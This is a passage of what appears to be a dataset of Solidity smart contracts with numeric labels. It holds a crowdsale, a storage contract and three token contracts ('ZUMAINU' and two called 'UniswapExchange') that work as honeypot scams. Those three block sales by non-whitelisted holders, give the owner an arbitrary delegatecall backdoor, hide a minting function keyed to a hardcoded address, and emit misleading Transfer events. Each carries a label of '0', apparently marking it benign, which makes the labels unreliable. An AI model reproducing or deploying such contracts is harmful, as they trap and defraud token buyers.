safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract ZUMAINU{ event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1132167815322823072539476364451924570945755492656)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
2,391
pragma solidity ^0.4.19; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0){ return 0; } uint256 c = a * b; assert(c / a == b); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function pow(uint256 a, uint256 b) internal pure returns (uint256){ if (b == 0){ return 1; } uint256 c = a**b; assert (c >= a); return c; } } contract Ownable { address public owner; address public newOwner; address public techSupport; address public newTechSupport; modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyTechSupport() { require(msg.sender == techSupport || msg.sender == owner); _; } function Ownable() public { owner = msg.sender; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); newOwner = _newOwner; } function acceptOwnership() public { if (msg.sender == newOwner) { owner = newOwner; } } function transferTechSupport (address _newSupport) public{ require (msg.sender == owner || msg.sender == techSupport); newTechSupport = _newSupport; } function acceptSupport() public{ if(msg.sender == newTechSupport){ techSupport = newTechSupport; } } } contract BineuroToken{ function setCrowdsaleContract (address) public; function sendCrowdsaleTokens(address, uint256) public; function burnTokens(address,address, address, uint) public; function getOwner()public view returns(address); } contract Crowdsale is Ownable{ using SafeMath for uint; uint public decimals = 3; BineuroToken public token; function Crowdsale(address _tokenAddress) public{ token = BineuroToken(_tokenAddress); techSupport = msg.sender; token.setCrowdsaleContract(this); owner = token.getOwner(); } address etherDistribution1 = 0x64f89e3CE504f1b15FcD4465b780Fb393ab79187; address etherDistribution2 = 0x320359973d7953FbEf62C4f50960C46D8DBE2425; address bountyAddress = 0x7e06828655Ba568Bbe06eD8ce165e4052A6Ea441; uint public tokensSold = 0; uint public ethCollected = 0; uint public minDeposit = (uint)(500).mul((uint)(10).pow(decimals)); uint public tokenPrice = 0.0001 ether; uint public icoStart = 1522141200; uint public icoFinish = 1528156800; uint public maxCap = 47000000 ether; function changeIcoFinish (uint _newDate) public onlyTechSupport { icoFinish = _newDate; } function isIco(uint _time) public view returns (bool){ if((icoStart <= _time) && (_time < icoFinish)){ return true; } return false; } function timeBasedBonus(uint _time) public view returns(uint res) { res = 20; uint timeBuffer = icoStart; for (uint i = 0; i<10; i++){ if(_time <= timeBuffer + 7 days){ return res; }else{ res = res - 2; timeBuffer = timeBuffer + 7 days; } if (res == 0){ return (0); } } return res; } function volumeBasedBonus(uint _value)public pure returns(uint res) { if(_value < 5 ether){ return 0; } if (_value < 15 ether){ return 2; } if (_value < 30 ether){ return 5; } if (_value < 50 ether){ return 8; } return 10; } function() public payable{ require(isIco(now)); require(ethCollected.add(msg.value) <= maxCap); require(buy(msg.sender,msg.value, now)); } function buy(address _address, uint _value, uint _time) internal returns (bool){ uint tokensForSend = etherToTokens(_value,_time); require (tokensForSend >= minDeposit); tokensSold = tokensSold.add(tokensForSend); ethCollected = ethCollected.add(_value); token.sendCrowdsaleTokens(_address,tokensForSend); etherDistribution1.transfer(this.balance/2); etherDistribution2.transfer(this.balance); return true; } function manualSendTokens (address _address, uint _tokens) public onlyTechSupport { token.sendCrowdsaleTokens(_address, _tokens); tokensSold = tokensSold.add(_tokens); } function etherToTokens(uint _value, uint _time) public view returns(uint res) { res = _value.mul((uint)(10).pow(decimals))/(tokenPrice); uint bonus = timeBasedBonus(_time).add(volumeBasedBonus(_value)); res = res.add(res.mul(bonus)/100); } bool public isIcoEnded = false; function endIco () public { require(!isIcoEnded); require(msg.sender == owner || msg.sender == techSupport); require(now > icoFinish + 5 days); token.burnTokens(etherDistribution1,etherDistribution2, bountyAddress, tokensSold); isIcoEnded = true; } }
0
769
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,685
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1461045492991056468287016484048686824852249628073)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
130
pragma solidity 0.5.3; contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract OwnableSecondary is Ownable { address private _primary; event PrimaryTransferred( address recipient ); constructor() internal { _primary = msg.sender; emit PrimaryTransferred(_primary); } modifier onlyPrimaryOrOwner() { require(msg.sender == _primary || msg.sender == owner(), "not the primary user nor the owner"); _; } modifier onlyPrimary() { require(msg.sender == _primary, "not the primary user"); _; } function primary() public view returns (address) { return _primary; } function transferPrimary(address recipient) public onlyOwner { require(recipient != address(0), "new primary address is null"); _primary = recipient; emit PrimaryTransferred(_primary); } } contract ImmutableEternalStorageInterface is OwnableSecondary { function createUint(bytes32 key, uint value) external; function createString(bytes32 key, string calldata value) external; function createAddress(bytes32 key, address value) external; function createBytes(bytes32 key, bytes calldata value) external; function createBytes32(bytes32 key, bytes32 value) external; function createBool(bytes32 key, bool value) external; function createInt(bytes32 key, int value) external; function getUint(bytes32 key) external view returns(uint); function uintExists(bytes32 key) external view returns(bool); function getString(bytes32 key) external view returns(string memory); function stringExists(bytes32 key) external view returns(bool); function getAddress(bytes32 key) external view returns(address); function addressExists(bytes32 key) external view returns(bool); function getBytes(bytes32 key) external view returns(bytes memory); function bytesExists(bytes32 key) external view returns(bool); function getBytes32(bytes32 key) external view returns(bytes32); function bytes32Exists(bytes32 key) external view returns(bool); function getBool(bytes32 key) external view returns(bool); function boolExists(bytes32 key) external view returns(bool); function getInt(bytes32 key) external view returns(int); function intExists(bytes32 key) external view returns(bool); } contract ImmutableEternalStorage is ImmutableEternalStorageInterface { struct UintEntity { uint value; bool isEntity; } struct StringEntity { string value; bool isEntity; } struct AddressEntity { address value; bool isEntity; } struct BytesEntity { bytes value; bool isEntity; } struct Bytes32Entity { bytes32 value; bool isEntity; } struct BoolEntity { bool value; bool isEntity; } struct IntEntity { int value; bool isEntity; } mapping(bytes32 => UintEntity) private uIntStorage; mapping(bytes32 => StringEntity) private stringStorage; mapping(bytes32 => AddressEntity) private addressStorage; mapping(bytes32 => BytesEntity) private bytesStorage; mapping(bytes32 => Bytes32Entity) private bytes32Storage; mapping(bytes32 => BoolEntity) private boolStorage; mapping(bytes32 => IntEntity) private intStorage; function createUint(bytes32 key, uint value) onlyPrimaryOrOwner external { require(!uIntStorage[key].isEntity); uIntStorage[key].value = value; uIntStorage[key].isEntity = true; } function createString(bytes32 key, string calldata value) onlyPrimaryOrOwner external { require(!stringStorage[key].isEntity); stringStorage[key].value = value; stringStorage[key].isEntity = true; } function createAddress(bytes32 key, address value) onlyPrimaryOrOwner external { require(!addressStorage[key].isEntity); addressStorage[key].value = value; addressStorage[key].isEntity = true; } function createBytes(bytes32 key, bytes calldata value) onlyPrimaryOrOwner external { require(!bytesStorage[key].isEntity); bytesStorage[key].value = value; bytesStorage[key].isEntity = true; } function createBytes32(bytes32 key, bytes32 value) onlyPrimaryOrOwner external { require(!bytes32Storage[key].isEntity); bytes32Storage[key].value = value; bytes32Storage[key].isEntity = true; } function createBool(bytes32 key, bool value) onlyPrimaryOrOwner external { require(!boolStorage[key].isEntity); boolStorage[key].value = value; boolStorage[key].isEntity = true; } function createInt(bytes32 key, int value) onlyPrimaryOrOwner external { require(!intStorage[key].isEntity); intStorage[key].value = value; intStorage[key].isEntity = true; } function getUint(bytes32 key) external view returns(uint) { return uIntStorage[key].value; } function uintExists(bytes32 key) external view returns(bool) { return uIntStorage[key].isEntity; } function getString(bytes32 key) external view returns(string memory) { return stringStorage[key].value; } function stringExists(bytes32 key) external view returns(bool) { return stringStorage[key].isEntity; } function getAddress(bytes32 key) external view returns(address) { return addressStorage[key].value; } function addressExists(bytes32 key) external view returns(bool) { return 